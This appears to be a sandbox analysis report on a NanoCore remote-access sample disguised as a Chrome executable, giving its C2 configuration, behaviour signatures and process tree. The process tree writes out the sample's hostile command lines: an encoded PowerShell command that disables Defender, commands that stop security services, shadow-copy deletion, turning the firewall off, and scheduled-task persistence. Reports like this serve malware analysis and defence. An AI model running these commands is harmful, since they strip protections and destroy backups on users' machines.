Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/09/2026, 19:03

General

  • Target
    socolive.company_chrome.exe
  • Size 57KB
  • Sample260907-xqr7cstema
  • SHA256 3c0f3710a12fe1f6d62fdf10203bcfd871f0510a4d926a681e7ebe72d4b28f40
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://socolive.company

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://socolive.company

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2260
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2456
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3384
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:716
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3188
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5172
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2848
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3784
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5800
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3580
      • C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe"
        3⤵
          PID:4972
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:2680
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:2648
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:3112
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:5792
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3508
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5312
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:3112
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe" /sc minute /mo 30 /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2848
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:2260
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4340
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:5280
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4668
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3068
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:1488
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2472
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Discovers running processes
              PID:1744
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4464
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
                PID:1256
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5336
              • C:\Windows\system32\net.exe
                net user
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1540
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  4⤵
                    PID:4200
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:2528
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:5792
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:5412
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  PID:1660
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2728
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:1656
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:724
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:404
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:328
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:564
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:5860
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:3268
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:2312
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:2056
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1524
                • C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe
                  C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe
                  1⤵
                    PID:5040
                  • C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe
                    C:\Users\Admin\AppData\Local\Temp\socolive.company_chrome.exe
                    1⤵
                      PID:5256
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k GPSvcGroup
                      1⤵
                        PID:3284

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            scr_20260907_200545.jpg

                            • Path C:\ProgramData\SysUpdate\Scr\scr_20260907_200545.jpg
                            • Size 113KB
                            • SHA256 faeae4cc60069af0cce30141ded507f0537febd8e269e4603f521978e2f5c6f3
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            invoice_1.pdf

                            • Path C:\ProgramData\invoice_1.pdf
                            • Size 76KB
                            • SHA256 8fb6a0e014c23d660d379a6ee716b78413874a9cdf636f765bca97d7df8ab121
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            doc_3.pdf

                            • Path C:\SystemVolumeInformation\doc_3.pdf
                            • Size 76KB
                            • SHA256 f9bcdac8493569ee0f8f3cd13b280f0c06244e28df59d70fa329295086bff110
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 248B
                            • SHA256 3186c606e29ae8defe3773605f3bf37af92d426c381bbdb6496f276fbb573ca7
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 249B
                            • SHA256 aca22e0b9f4865c4b393f2e17a2e50f9221c93e9940a0d77d247daba9bbb4e3b
                            • MD5 SHA1 SHA512 TLSH

                            temp_steal.log

                            • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                            • Size 151KB
                            • SHA256 403d6a656ee3476c46639ca89f0ee385058d376ed9fc985ce559a5c1467014ec
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            stolen_data_here.txt

                            • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                            • Size 152KB
                            • SHA256 32b0b9e9a129da9d62816f38fb25fa6536c7780e2b577c7adef7cb77d46b2684
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/724-2272-0x0000024D9C6A0000-0x0000024D9C6A1000-memory.dmp

                            memory/2260-26-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-23-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-16-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-17-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-18-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-19-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-21-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-22-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-24-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-9-0x000001E0192F0000-0x000001E019312000-memory.dmp

                            memory/2260-13-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-31-0x000001E031C10000-0x000001E031C2E000-memory.dmp

                            memory/2260-33-0x000001E031C00000-0x000001E031C0A000-memory.dmp

                            memory/2260-32-0x000001E031C30000-0x000001E031CE2000-memory.dmp

                            memory/2260-29-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-15-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-35-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/2260-14-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-0-0x00007FFEE26EF000-0x00007FFEE26F0000-memory.dmp

                            memory/5396-12-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-2250-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-11-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-10-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-2270-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-25-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-2280-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-4-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-3-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-2-0x00007FFEE2560000-0x00007FFEE2F04000-memory.dmp

                            memory/5396-1-0x0000000000810000-0x0000000000824000-memory.dmp